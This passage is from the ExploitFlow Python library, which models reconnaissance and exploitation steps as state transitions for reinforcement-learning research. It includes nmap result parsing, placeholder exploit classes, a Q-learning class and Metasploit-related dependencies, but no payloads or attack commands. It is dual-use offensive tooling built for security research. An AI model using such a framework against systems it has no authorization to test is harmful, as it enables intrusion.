https://avleonov.com/2018/03/11/converting-nmap-xml-scan-reports-to-json/ 71 | # for an example 72 | 73 | # NOTE, turns input state into State and ensures 74 | # that it's not empty (add least state for target) 75 | aux_state = to_State(self.pre_state, target) 76 | if not aux_state.states: # if dict states is empty 77 | aux_state.add_new(target) # create a new state for target 78 | 79 | # evaluate only if results for ports 80 | if "port" in nmap_results["nmaprun"]["host"]["ports"].keys(): 81 | # consider if only one result, 82 | if type(nmap_results["nmaprun"]["host"]["ports"]["port"]) == dict: 83 | port = nmap_results["nmaprun"]["host"]["ports"]["port"] 84 | new_port = int(port["@portid"]) 85 | version = ( 86 | port["service"]["@version"] if "@version" in port["service"] else None 87 | ) 88 | name = port["service"]["@name"] if "@name" in port["service"] else None 89 | cpe = port["service"]["cpe"] if "cpe" in port["service"] else "unknown" 90 | new_port_state = PortState_v1( 91 | new_port, 92 | port["state"]["@state"] == "open", 93 | name, 94 | version, 95 | cpe, 96 | ) 97 | 98 | for i, state_port in enumerate(aux_state.states[target].ports): 99 | if state_port.port == new_port: 100 | aux_state.states[target].ports[i] = new_port_state 101 | 102 | else: 103 | # or multiple 104 | for port in nmap_results["nmaprun"]["host"]["ports"]["port"]: 105 | new_port = int(port["@portid"]) 106 | version = ( 107 | port["service"]["@version"] if "@version" in port["service"] else None 108 | ) 109 | name = port["service"]["@name"] if "@name" in port["service"] else None 110 | # cpe = port["service"]["cpe"] if "cpe" in port["service"] else None 111 | cpe = port["service"]["cpe"] if "cpe" in port["service"] else "unknown" 112 | new_port_state = PortState_v1( 113 | new_port, 114 | port["state"]["@state"] == "open", 115 | name, 116 | version, 117 | cpe, 118 | ) 119 | 120 | # update, NOTE assumes aux_state is PortState_v2 121 | for i, state_port in enumerate(aux_state.states[target].ports): 122 | if state_port.port == new_port: 123 | aux_state.states[target].ports[i] = new_port_state 124 | 125 | self.post_state = aux_state 126 | 127 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4) 128 | for i, exploit_state in enumerate(self.post_state.states[target].exploits): 129 | # print("DEBUG: " + str(exploit_state.type)) 130 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2 131 | if exploit_state.type == self.__class__: 132 | self.post_state.states[target].exploits[i].launched = True 133 | else: # if type is an object, PortState_v4 134 | if exploit_state.type == self.name: 135 | self.post_state.states[target].exploits[i].launched = True 136 | 137 | self.status = ( 138 | nmap_results["nmaprun"]["runstats"]["finished"]["@exit"] == "success" 139 | ) 140 | self.debug(debug, nmap_results=nmap_results, target=target) 141 | 142 | # update graph 143 | self._graph.update(self, self.reward, self.post_state) 144 | 145 | return self.post_state 146 | 147 | def debug(self, debug, nmap_results=None, target=None): 148 | if debug: 149 | super(ReconnaissanceExploit, self).debug(debug, target) 150 | 151 | # print(nmap_results) 152 | # if nmap_results: 153 | # for port in nmap_results["nmaprun"]["host"]["ports"]["port"]: 154 | # cpe = ( 155 | # port["service"]["cpe"] 156 | # if "cpe" in port["service"] 157 | # else "unknown" 158 | # ) 159 | # print( 160 | # str(port["@portid"]) 161 | # + " - " 162 | # + str(port["state"]["@state"]) 163 | # + " - " 164 | # + str(port["service"]["@name"]) 165 | # + " - " 166 | # + str(port["service"]["@version"]) 167 | # + " - " 168 | # + cpe 169 | # ) 170 | 171 | 172 | class FakeVersionExploit(VersionExploit): 173 | def __init__(self, port_range=None, name="FakeVersionExploit"): 174 | super(FakeVersionExploit, self).__init__(name=name) 175 | 176 | def _forward(self, state, target, debug=False) -> State: 177 | # 1. define previous state 178 | if state: 179 | self.pre_state = state 180 | else: 181 | self.pre_state = State_default() # New empty state 182 | 183 | # priotize exploit's target, over flow's target 184 | if self.target: 185 | flow_target = target 186 | target = self.target 187 | 188 | # 2. build next state 189 | # 190 | # NOTE, turns input state into the latest State and ensures 191 | # that it's not empty (add least state for target) 192 | aux_state_latest = to_State(self.pre_state, target) 193 | if not aux_state_latest.states: # if dict states is empty 194 | aux_state_latest.add_new(target) # create a new state for target 195 | 196 | ## 2.1 Add changes in states 197 | ## 2.1.1 State 1 198 | aux_state = aux_state_latest[target] # use the __getitem__ method 199 | # 2.1.1.1 Add changes in ports 200 | aux_state.ports[0].open = True 201 | aux_state.ports[0].name = "fake" 202 | # - 203 | aux_state.ports[2].open = True 204 | aux_state.ports[2].name = "fake" 205 | # - 206 | aux_state.ports[10].open = True 207 | aux_state.ports[10].name = "fake" 208 | ## 2.1.1.2 Add changes in exploits 209 | for i, exploit_state in enumerate(aux_state.exploits): 210 | if exploit_state.type == self.__class__: 211 | aux_state.exploits[i].launched = True 212 | 213 | ## 2.1.1 State 2, invented 214 | aux_state_latest.add_new("127.0.0.2") 215 | aux_state = aux_state_latest["127.0.0.2"] # use the __getitem__ method 216 | # 2.1.1.1 Add changes in ports 217 | aux_state.ports[0].open = True 218 | aux_state.ports[0].name = "fake" 219 | # - 220 | aux_state.ports[2].open = True 221 | aux_state.ports[2].name = "fake" 222 | # - 223 | aux_state.ports[10].open = True 224 | aux_state.ports[10].name = "fake" 225 | ## 2.1.1.2 Add changes in exploits 226 | for i, exploit_state in enumerate(aux_state.exploits): 227 | if exploit_state.type == self.__class__: 228 | aux_state.exploits[i].launched = True 229 | 230 | self.post_state = aux_state_latest 231 | 232 | # 3. Define exploit status 233 | self.status = True 234 | 235 | # 4. Return resulting state 236 | self.debug(debug, target=target) 237 | 238 | # update graph 239 | self._graph.update(self.reward, self.post_state, debug=debug) 240 | return self.post_state 241 | 242 | 243 | class FakeVersionExploit2(FakeVersionExploit): 244 | def __init__(self, port_range=None, name="FakeVersionExploit2"): 245 | super(FakeVersionExploit2, self).__init__(name=name) 246 | -------------------------------------------------------------------------------- /exploitflow/models.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # A simple file abstracting silly learning models for the sake of testing 16 | # and experimentation. 17 | 18 | import random 19 | from wasabi import color 20 | 21 | # A utility function to format floating point numbers. Not 22 | # directly related to Q-learning. 23 | def ff(f, n): 24 | """Format a floating point number to a string with n digits.""" 25 | fs = '{:f}'.format(f) 26 | if len(fs) < n: 27 | return ('{:'+n+'s}').format(fs) 28 | else: 29 | return fs[:n] 30 | 31 | 32 | class QLearn: 33 | """Q-Learning class. Implements the Q-Learning algorithm.""" 34 | 35 | def __init__(self, 36 | actions, 37 | epsilon=0.1, 38 | alpha=0.2, 39 | gamma=0.9): 40 | """Initialize an empty dictionary for Q-Values. 41 | 42 | params: 43 | actions: list of actions available in the environment 44 | epsilon: exploration factor 45 | alpha: learning rate 46 | gamma: discount factor 47 | """ 48 | # Q-Values are stored in a dictionary, with the state-action 49 | self.q = {} 50 | 51 | # Epsilon is the exploration factor. A higher epsilon 52 | # encourages more exploration, risking more but potentially 53 | # gaining more too. 54 | self.epsilon = epsilon 55 | 56 | # Alpha is the learning rate. If Alpha is high, then the 57 | # learning is faster but may not converge. If Alpha is low, 58 | # the learning is slower but convergence may be more stable. 59 | self.alpha = alpha 60 | 61 | # Gamma is the discount factor. 62 | # It prioritizes present rewards over future ones. 63 | self.gamma = gamma 64 | 65 | # Actions available in the environment 66 | self.actions = actions 67 | 68 | def getQ(self, state, action): 69 | """Get Q value for a state-action pair. 70 | 71 | If the state-action pair is not found in the dictionary, 72 | return 0.0 if not found in our dictionary 73 | """ 74 | return self.q.get((state, action), 0.0) 75 | 76 | def learnQ(self, state, action, reward, value, debug=False): 77 | """Updates the Q-value for a state-action pair. 78 | 79 | The core Q-Learning update rule. 80 | Q(s, a) += alpha * (reward(s,a) + max(Q(s')) - Q(s,a)) 81 | 82 | This function updates the Q-value for a state-action pair 83 | based on the reward and maximum estimated future reward. 84 | """ 85 | oldv = self.q.get((state, action), None) 86 | if oldv is None: 87 | if debug: 88 | print(color("WARNING: Adding new Q-value for " + str(action) + " with state: " + str(state), fg="black", bg="yellow", bold=True)) 89 | 90 | # If no previous Q-Value exists, then initialize 91 | # it with the current reward 92 | self.q[(state, action)] = reward 93 | else: 94 | # Update the Q-Value with the weighted sum of old 95 | # value and the newly found value. 96 | # 97 | # Alpha determines how much importance we give to the 98 | # new value compared to the old value. 99 | self.q[(state, action)] = oldv + self.alpha * (value - oldv) 100 | 101 | if debug: 102 | print(color("SUCESS: Reusing Q-value for " + str(action) + " with state: " + str(state), fg="black", bg="green", bold=True)) 103 | 104 | # def chooseAction(self, state): 105 | # """Epsilon-Greedy approach for action selection.""" 106 | # if random.random() < self.epsilon: 107 | # # With probability epsilon, we select a random action 108 | # action = random.choice(self.actions) 109 | # else: 110 | # # With probability 1-epsilon, we select the action 111 | # # with the highest Q-value 112 | # q = [self.getQ(state, a) for a in self.actions] 113 | # maxQ = max(q) 114 | # count = q.count(maxQ) 115 | # # If there are multiple actions with the same Q-Value, 116 | # # then choose randomly among them 117 | # if count > 1: 118 | # best = [i for i in range(len(self.actions)) if q[i] == maxQ] 119 | # i = random.choice(best) 120 | # else: 121 | # i = q.index(maxQ) 122 | 123 | # action = self.actions[i] 124 | # return action 125 | 126 | def chooseAction(self, state, return_q=False): 127 | """An alternative approach for action selection.""" 128 | # Compute the Q values for each action given the current state 129 | q = [self.getQ(state, a) for a in self.actions] 130 | maxQ = max(q) 131 | 132 | # With a probability of epsilon, add random values 133 | # to all the actions to introduce some noise and 134 | # encourage exploration. 135 | if random.random() < self.epsilon: 136 | minQ = min(q) 137 | mag = max(abs(minQ), abs(maxQ)) # Determine the magnitude 138 | # range based on minQ and maxQ 139 | 140 | # For each action, add a random value in the range of [-0.5 * mag, 0.5 * mag]. 141 | # This modifies the Q-values in a way that promotes exploration 142 | q = [q[i] + random.random() * mag - .5 * mag for i in range(len(self.actions))] 143 | 144 | # Recalculate the maximum Q value after adding the random values 145 | maxQ = max(q) 146 | 147 | # Determine how many actions have the maximum Q value 148 | count = q.count(maxQ) 149 | 150 | # If there are multiple actions with the same Q-value (maxQ), 151 | # choose an action randomly from those actions. This ensures 152 | # diversity in action selection when there are ties for the max Q-value. 153 | if count > 1: 154 | best = [i for i in range(len(self.actions)) if q[i] == maxQ] 155 | i = random.choice(best) 156 | else: 157 | # If only one action has the max Q-value, select that action. 158 | i = q.index(maxQ) 159 | 160 | # Get the action associated with the maximum Q-value 161 | action = self.actions[i] 162 | 163 | # If return_q is True, return both the selected action and the list of Q-values. 164 | # This can be useful for debugging and observing how Q-values change over time. 165 | if return_q: 166 | return action, q 167 | 168 | # If return_q is False, just return the selected action 169 | return action 170 | 171 | def learn(self, state1, action1, reward, state2, debug=False): 172 | """Get the maximum Q-Value for the next state.""" 173 | maxqnew = max([self.getQ(state2, a) for a in self.actions]) 174 | 175 | # Learn the Q-Value based on current reward and future 176 | # expected rewards. 177 | self.learnQ(state1, action1, reward, reward + self.gamma * maxqnew, debug=debug) 178 | 179 | if debug: 180 | # debug the arguments used for the learning, use colors to hightlight each part 181 | debug_str = "" 182 | debug_str += color("state: " + str(state1), fg="white", bg="blue", bold=True) + ", " 183 | debug_str += color("action: " + str(action1), fg="white", bg="black", bold=True) + ", " 184 | debug_str += color("reward: " + str(reward), fg="white", bg="red", bold=True) + ", " 185 | debug_str += color("next state: " + str(state2), fg="white", bg="yellow", bold=True) 186 | print(debug_str) 187 | -------------------------------------------------------------------------------- /exploitflow/state.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import exploitflow as ef 16 | import pprint 17 | import copy 18 | import numpy as np 19 | from sklearn.preprocessing import OneHotEncoder 20 | 21 | # TARGET_PORTS_BASIC = list(range(21, 445)) 22 | TARGET_PORTS_BASIC = list(range(21, 30)) 23 | TARGET_PORTS_COMPLETE = list(range(1, 10000)) 24 | TARGET_PORTS_OSX = [5000, 6000, 6001, 7000] 25 | TARGET_PORTS_ALL = TARGET_PORTS_BASIC + TARGET_PORTS_OSX 26 | 27 | # TARGET_IP_ADDRESSES = ["127.0.0.1"] + ["192.168.2." + str(i) for i in range(1, 256)] 28 | # TARGET_IP_ADDRESSES = ["127.0.0.1", "192.168.2.10", "192.168.2.5"] 29 | TARGET_IP_ADDRESSES = ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8", "192.168.2.1"] 30 | 31 | class State(object): 32 | """Parent State class""" 33 | pass 34 | 35 | 36 | # ////////////// 37 | # State_v0 38 | # ////////////// 39 | class State_v0(State): 40 | """Basic data model. 41 | 42 | A state class for the basic operations. Helps 43 | monitor the system being tested. 44 | 45 | Parameters 46 | ---------- 47 | sequence 48 | Basic type that's able to fit into a list. Typically int, bool, etc. 49 | 50 | Returns 51 | ------- 52 | State_v0 53 | The state. 54 | """ 55 | 56 | def __init__(self, *args): 57 | if args: 58 | if isinstance(args[0], int): 59 | self._sequence = [args[0]] 60 | elif isinstance(args[0], list): 61 | self._sequence = args[0] 62 | else: 63 | self._sequence = [] 64 | 65 | def __str__(self): 66 | return str(self._sequence) 67 | 68 | def __add__(self, newstate): 69 | """Merge to stage objects""" 70 | return State_v0(self._sequence + newstate._sequence) 71 | 72 | 73 | # ////////////// 74 | # State_v1 75 | # ////////////// 76 | class ExploitState_v1(object): 77 | def __init__(self, type_exploit: object, launched: bool = False): 78 | self.type = type_exploit 79 | self.launched = launched 80 | 81 | # Instantiate a OneHotEncoder with output as dense array 82 | self.enc = OneHotEncoder(sparse_output=False) 83 | self.exploits_enc = [] 84 | for c in ef.exploits_all: 85 | self.exploits_enc.append(c.__name__) 86 | self.exploits_enc = np.array(self.exploits_enc).reshape(-1, 1) 87 | self.code = self.enc.fit_transform(self.exploits_enc) 88 | 89 | def __str__(self): 90 | return str(self.type) + "|" + str(self.launched) 91 | 92 | def __repr__(self) -> str: 93 | return self.__str__() 94 | 95 | def one_hot_encode(self): 96 | """ 97 | One-hot encodes the 'type' instance variable and binary encodes the 'launched' instance variable. 98 | """ 99 | type_processed = np.array([self.type.__name__]).reshape(-1, 1) 100 | type_encoded = self.enc.transform(type_processed) # one-hot encode self.type, 2D np array 101 | type_encoded = type_encoded.flatten().tolist() # flatten to 1D list 102 | 103 | # binary encode self.launched 104 | launched_encoded = [1.0 if self.launched else 0.0] 105 | return type_encoded + launched_encoded 106 | 107 | 108 | 109 | class PortState_v1(object): 110 | def __init__( 111 | self, 112 | port: int, 113 | open: bool = False, 114 | name: str = None, 115 | version: str = None, 116 | cpe: str = None, 117 | ): 118 | self.port = port 119 | self.open = open 120 | self.name = name 121 | self.version = version 122 | self.cpe = cpe 123 | 124 | # Instantiate a OneHotEncoder with output as dense array 125 | self.enc = OneHotEncoder(sparse_output=False) 126 | self.ports_enc = [] 127 | for p in ef.state.TARGET_PORTS_BASIC: 128 | self.ports_enc.append(p) 129 | self.ports_enc = np.array(self.ports_enc).reshape(-1, 1) 130 | self.code = self.enc.fit_transform(self.ports_enc) 131 | 132 | 133 | def __str__(self): 134 | return str(self.port) + "|" + str(self.open) 135 | 136 | def __repr__(self) -> str: 137 | return self.__str__() 138 | 139 | def one_hot_encode(self): 140 | # Assuming 'port' is categorical and 'open' is binary 141 | # 142 | # 'name', 'version', 'cpe' discarded for one-hot encoding 143 | port_processed = np.array([self.port]).reshape(-1, 1) 144 | port_encoded = self.enc.transform(port_processed) # one-hot encode self.port, 2D np array 145 | port_encoded = port_encoded.flatten().tolist() # flatten to 1D list 146 | 147 | # binary encode self.launched 148 | open_encoded = [1.0 if self.open else 0.0] 149 | return port_encoded + open_encoded 150 | 151 | 152 | class State_v1(State): 153 | def __init__(self, *args): 154 | self.exploits = [] 155 | self.ports = [] 156 | 157 | # initialize all exploits as unlaunched (False) 158 | for c in ef.exploits_all: 159 | self.exploits.append(ExploitState_v1(c, False)) 160 | # print(c.__name__) # debug 161 | 162 | # initialize all ports to closed (False) 163 | for port in TARGET_PORTS_BASIC: 164 | self.ports.append(PortState_v1(port)) 165 | 166 | def __str__(self): 167 | """Returns dict with launched exploits and open ports""" 168 | d_return = {"exploits": [], "ports": []} 169 | for expl in self.exploits: 170 | if expl.launched: 171 | if isinstance(expl.type, type): 172 | # expl.type is a class 173 | d_return["exploits"].append(str(expl.type.__name__)) 174 | else: 175 | # expl.type is an obj 176 | d_return["exploits"].append(str(expl.type.get_name())) 177 | 178 | for port in self.ports: 179 | if port.open: 180 | d_return["ports"].append( 181 | "port: " + str(port.port) + ", name: " + str(port.name) + ", version: " + str(port.version) 182 | ) 183 | return str(pprint.pformat(d_return)) 184 | 185 | def __repr__(self) -> str: 186 | return self.__str__() 187 | 188 | def __add__(self, newstate): 189 | """Merge two state objects""" 190 | return newstate 191 | 192 | def one_hot_encode(self): 193 | # one-hot encode all ExploitState_v1 and PortState_v1 objects in 'exploits' and 'ports' 194 | exploits_encoded = [exploit.one_hot_encode() for exploit in self.exploits] 195 | flattened_exploits_encoded = [item for sublist in exploits_encoded for item in sublist] 196 | 197 | ports_encoded = [port.one_hot_encode() for port in self.ports] 198 | flattened_ports_encoded = [item for sublist in ports_encoded for item in sublist] 199 | 200 | # return ports_encoded + exploits_encoded 201 | return flattened_ports_encoded + flattened_exploits_encoded 202 | 203 | 204 | # ////////////// 205 | # State_v2 206 | # dictionary of State_v2 wherein each key corresponds 207 | # with the IP address of the target 208 | # ////////////// 209 | class State_v2(State): 210 | def __init__(self, *args): 211 | self.states = {} 212 | 213 | # initialize all states as empty 214 | for ip in TARGET_IP_ADDRESSES: 215 | self.add_new(ip) 216 | 217 | def add(self, ip: str, state: State_v1) -> None: 218 | self.states[ip] = state 219 | 220 | def add_new(self, ip: str) -> None: 221 | state = State_v1() 222 | self.states[ip] = state 223 | 224 | def merge(self, newstate, target="127.0.0.1") -> None: 225 | """ 226 | Merges the current object with a new State 227 | 228 | Supports both State_v1 and State_v2. 229 | """ 230 | if type(newstate) == State_v1: 231 | self.states[target] = newstate # whether it exists or not 232 | elif type(newstate) == State_v2: 233 | aux_state = self + newstate # NOTE: overwrites self, with newstate 234 | self.states = aux_state.states 235 | else: 236 | raise TypeError("Unknown state type") 237 | 238 | def __add__(self, newstate): 239 | """ 240 | Merge two state objects 241 | """ 242 | aux_state = copy.deepcopy(self) 243 | 244 | # # NOTE: Overwrites self with newstate 245 | # for ip in newstate.states.keys(): 246 | # aux_state.states[ip] = newstate.states[ip] 247 | # return newstate 248 | 249 | # NOTE: Adds each exploit and ports, for each ip 250 | for ip in newstate.states.keys(): 251 | 252 | #if ip not in aux_state.states.keys(), add it 253 | if ip not in aux_state.states.keys(): 254 | aux_state.add_new(ip) 255 | 256 | # check exploits to add 257 | for expl in newstate.states[ip].exploits: 258 | if expl.launched: 259 | aux_state.states[ip].exploits.append(expl) 260 | 261 | # check ports to add 262 | for port in newstate.states[ip].ports: 263 | if port.open: 264 | aux_state.states[ip].ports.append(port) 265 | return aux_state 266 | 267 | def __str__(self): 268 | """Returns dict with launched exploits and open ports""" 269 | return pprint.pformat(self.states) 270 | 271 | def __getitem__(self, key): 272 | return self.states[key] 273 | 274 | def __setitem__(self, key, value): 275 | self.states[key] = value 276 | 277 | def __repr__(self) -> str: 278 | return self.__str__() 279 | 280 | def one_hot_encode(self): 281 | # one-hot encode all State_v1 objects in 'states' 282 | states_encoded = [state.one_hot_encode() for state in self.states.values()] 283 | flattened_states_encoded = [item for sublist in states_encoded for item in sublist] 284 | # return states_encoded 285 | return flattened_states_encoded 286 | 287 | # ////////////// 288 | # State_v3 289 | # 290 | # NOTE, like State_v1, but using instances instead of classes 291 | # ////////////// 292 | class ExploitState_v3(object): 293 | def __init__(self, type_exploit: object, launched: bool = False): 294 | self.type = type_exploit 295 | self.launched = launched 296 | 297 | # Instantiate a OneHotEncoder with output as dense array 298 | self.enc = OneHotEncoder(sparse_output=False) 299 | self.exploits_enc = [] 300 | for c in ef.exploits_all_instances: 301 | self.exploits_enc.append(c.get_name()) 302 | self.exploits_enc = np.array(self.exploits_enc).reshape(-1, 1) 303 | self.code = self.enc.fit_transform(self.exploits_enc) 304 | 305 | def __str__(self): 306 | return str(self.type) + "|" + str(self.launched) 307 | 308 | def __repr__(self) -> str: 309 | return self.__str__() 310 | 311 | def one_hot_encode(self): 312 | """ 313 | One-hot encodes the 'type' instance variable and binary encodes the 'launched' instance variable. 314 | """ 315 | type_processed = np.array([self.type.name]).reshape(-1, 1) 316 | type_encoded = self.enc.transform(type_processed) # one-hot encode self.type, 2D np array 317 | type_encoded = type_encoded.flatten().tolist() # flatten to 1D list 318 | 319 | # binary encode self.launched 320 | launched_encoded = [1.0 if self.launched else 0.0] 321 | return type_encoded + launched_encoded 322 | 323 | 324 | 325 | class PortState_v3(object): 326 | def __init__( 327 | self, 328 | port: int, 329 | open: bool = False, 330 | name: str = None, 331 | version: str = None, 332 | cpe: str = None, 333 | ): 334 | self.port = port 335 | self.open = open 336 | self.name = name 337 | self.version = version 338 | self.cpe = cpe 339 | 340 | # Instantiate a OneHotEncoder with output as dense array 341 | self.enc = OneHotEncoder(sparse_output=False) 342 | self.ports_enc = [] 343 | for p in ef.state.TARGET_PORTS_BASIC: 344 | self.ports_enc.append(p) 345 | self.ports_enc = np.array(self.ports_enc).reshape(-1, 1) 346 | self.code = self.enc.fit_transform(self.ports_enc) 347 | 348 | 349 | def __str__(self): 350 | return str(self.port) + "|" + str(self.open) 351 | 352 | def __repr__(self) -> str: 353 | return self.__str__() 354 | 355 | def one_hot_encode(self): 356 | # Assuming 'port' is categorical and 'open' is binary 357 | # 358 | # 'name', 'version', 'cpe' discarded for one-hot encoding 359 | port_processed = np.array([self.port]).reshape(-1, 1) 360 | port_encoded = self.enc.transform(port_processed) # one-hot encode self.port, 2D np array 361 | port_encoded = port_encoded.flatten().tolist() # flatten to 1D list 362 | 363 | # binary encode self.launched 364 | open_encoded = [1.0 if self.open else 0.0] 365 | return port_encoded + open_encoded 366 | 367 | 368 | class State_v3(State): 369 | def __init__(self, *args): 370 | self.exploits = [] 371 | self.ports = [] 372 | 373 | # initialize all exploits as unlaunched (False) 374 | for c in ef.exploits_all_instances: 375 | self.exploits.append(ExploitState_v3(c, False)) 376 | # print(c.__name__) # debug 377 | 378 | # initialize all ports to closed (False) 379 | for port in TARGET_PORTS_BASIC: 380 | self.ports.append(PortState_v1(port)) 381 | 382 | def __str__(self): 383 | """Returns dict with launched exploits and open ports""" 384 | d_return = {"exploits": [], "ports": []} 385 | for expl in self.exploits: 386 | if expl.launched: 387 | if isinstance(expl.type, type): 388 | # expl.type is a class 389 | d_return["exploits"].append(str(expl.type.__name__)) 390 | else: 391 | # expl.type is an obj 392 | d_return["exploits"].append(str(expl.type.get_name())) 393 | 394 | for port in self.ports: 395 | if port.open: 396 | d_return["ports"].append( 397 | "port: " + str(port.port) + ", name: " + str(port.name) + ", version: " + str(port.version) 398 | ) 399 | return str(pprint.pformat(d_return)) 400 | 401 | def __repr__(self) -> str: 402 | return self.__str__() 403 | 404 | def __add__(self, newstate): 405 | """Merge two state objects""" 406 | return newstate 407 | 408 | def one_hot_encode(self): 409 | # one-hot encode all ExploitState_v1 and PortState_v1 objects in 'exploits' and 'ports' 410 | exploits_encoded = [exploit.one_hot_encode() for exploit in self.exploits] 411 | flattened_exploits_encoded = [item for sublist in exploits_encoded for item in sublist] 412 | 413 | ports_encoded = [port.one_hot_encode() for port in self.ports] 414 | flattened_ports_encoded = [item for sublist in ports_encoded for item in sublist] 415 | 416 | # return ports_encoded + exploits_encoded 417 | return flattened_ports_encoded + flattened_exploits_encoded 418 | 419 | 420 | # ////////////// 421 | # State_v4 422 | # like State_v2, but using instances instead of classes 423 | # ////////////// 424 | class State_v4(State): 425 | def __init__(self, *args): 426 | self.states = {} 427 | 428 | # initialize all states as empty 429 | for ip in TARGET_IP_ADDRESSES: 430 | self.add_new(ip) 431 | 432 | def add(self, ip: str, state: State_v3) -> None: 433 | self.states[ip] = state 434 | 435 | def add_new(self, ip: str) -> None: 436 | state = State_v1() 437 | self.states[ip] = state 438 | 439 | def merge(self, newstate, target="127.0.0.1") -> None: 440 | """ 441 | Merges the current object with a new State 442 | 443 | Supports both State_v1 and State_v2. 444 | """ 445 | if type(newstate) == State_v3: 446 | self.states[target] = newstate # whether it exists or not 447 | elif type(newstate) == State_v4: 448 | aux_state = self + newstate # NOTE: overwrites self, with newstate 449 | self.states = aux_state.states 450 | else: 451 | raise TypeError("Unknown state type") 452 | 453 | def __add__(self, newstate): 454 | """ 455 | Merge two state objects 456 | """ 457 | aux_state = copy.deepcopy(self) 458 | 459 | # # NOTE: Overwrites self with newstate 460 | # for ip in newstate.states.keys(): 461 | # aux_state.states[ip] = newstate.states[ip] 462 | # return newstate 463 | 464 | # NOTE: Adds each exploit and ports, for each ip 465 | for ip in newstate.states.keys(): 466 | 467 | #if ip not in aux_state.states.keys(), add it 468 | if ip not in aux_state.states.keys(): 469 | aux_state.add_new(ip) 470 | 471 | # check exploits to add 472 | for expl in newstate.states[ip].exploits: 473 | if expl.launched: 474 | aux_state.states[ip].exploits.append(expl) 475 | 476 | # check ports to add 477 | for port in newstate.states[ip].ports: 478 | if port.open: 479 | aux_state.states[ip].ports.append(port) 480 | return aux_state 481 | 482 | def __str__(self): 483 | """Returns dict with launched exploits and open ports""" 484 | return pprint.pformat(self.states) 485 | 486 | def __getitem__(self, key): 487 | return self.states[key] 488 | 489 | def __setitem__(self, key, value): 490 | self.states[key] = value 491 | 492 | def __repr__(self) -> str: 493 | return self.__str__() 494 | 495 | def one_hot_encode(self): 496 | # one-hot encode all State_v1 objects in 'states' 497 | states_encoded = [state.one_hot_encode() for state in self.states.values()] 498 | flattened_states_encoded = [item for sublist in states_encoded for item in sublist] 499 | # return states_encoded 500 | return flattened_states_encoded 501 | 502 | 503 | def to_State(state: State, target: str) -> State_v2: 504 | """ 505 | Returns a new State_v2 of state 506 | """ 507 | # ensure aux_state is State_v2 508 | if type(state) == State_v1: 509 | aux_state = State_v2() 510 | aux_state.add(target, state) 511 | elif type(state) == State_v3: 512 | aux_state = State_v4() 513 | aux_state.add(target, state) 514 | 515 | else: 516 | aux_state = copy.deepcopy(state) 517 | 518 | return aux_state 519 | 520 | 521 | # ////////////// 522 | # Aliases 523 | # ////////////// 524 | 525 | # State_default = State_v0 526 | # State_default = State_v1 527 | State_default = State_v2 528 | # State_default = State_v4 -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pymetasploit3 2 | networkx==2.5 3 | requests 4 | wasabi 5 | xmltodict 6 | pydot==1.4.2 7 | typing-extensions 8 | scapy 9 | numpy 10 | matplotlib 11 | python3-nmap 12 | scikit-learn -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import os 16 | from collections import OrderedDict 17 | from setuptools import find_packages, setup 18 | 19 | with open(os.path.join(os.path.dirname(__file__), 'requirements.txt')) as f: 20 | dependencies = f.read().strip().split('\n') 21 | 22 | setup( 23 | name="exploitflow", 24 | version="0.2.0", 25 | description="ExploitFlow, a library to produce cybersecurity exploitation routes", 26 | long_description=""" 27 | ExploitFlow (EF) is a modular library to produce cybersecurity exploitation routes (exploit flows). It allows to combine and compose exploits from different sources and frameworks, capturing the state of the system being tested in a *flow* after every discrete action. 28 | 29 | It's main motivation is to facilitate and empower Artificial Intelligence (AI) research in cybersecurity. EF's software architecture is inspired by the success of TensorFlow. To facilitate usage, exploits are grouped by categories following the security kill chain. 30 | """, 31 | author="Víctor Mayoral-Vilches", 32 | author_email="v.mayoralv@gmail.com", 33 | maintainer="Víctor Mayoral-Vilches", 34 | maintainer_email="v.mayoralv@gmail.com", 35 | url="https://github.com/vmayoral/ExploitFlow", 36 | project_urls=OrderedDict( 37 | ( 38 | ("Code", "https://github.com/vmayoral/ExploitFlow"), 39 | ("Issue tracker", "https://github.com/vmayoral/ExploitFlow/issues"), 40 | ) 41 | ), 42 | license="Apache License", 43 | install_requires=dependencies, 44 | packages=find_packages(), 45 | ) 46 | --------------------------------------------------------------------------------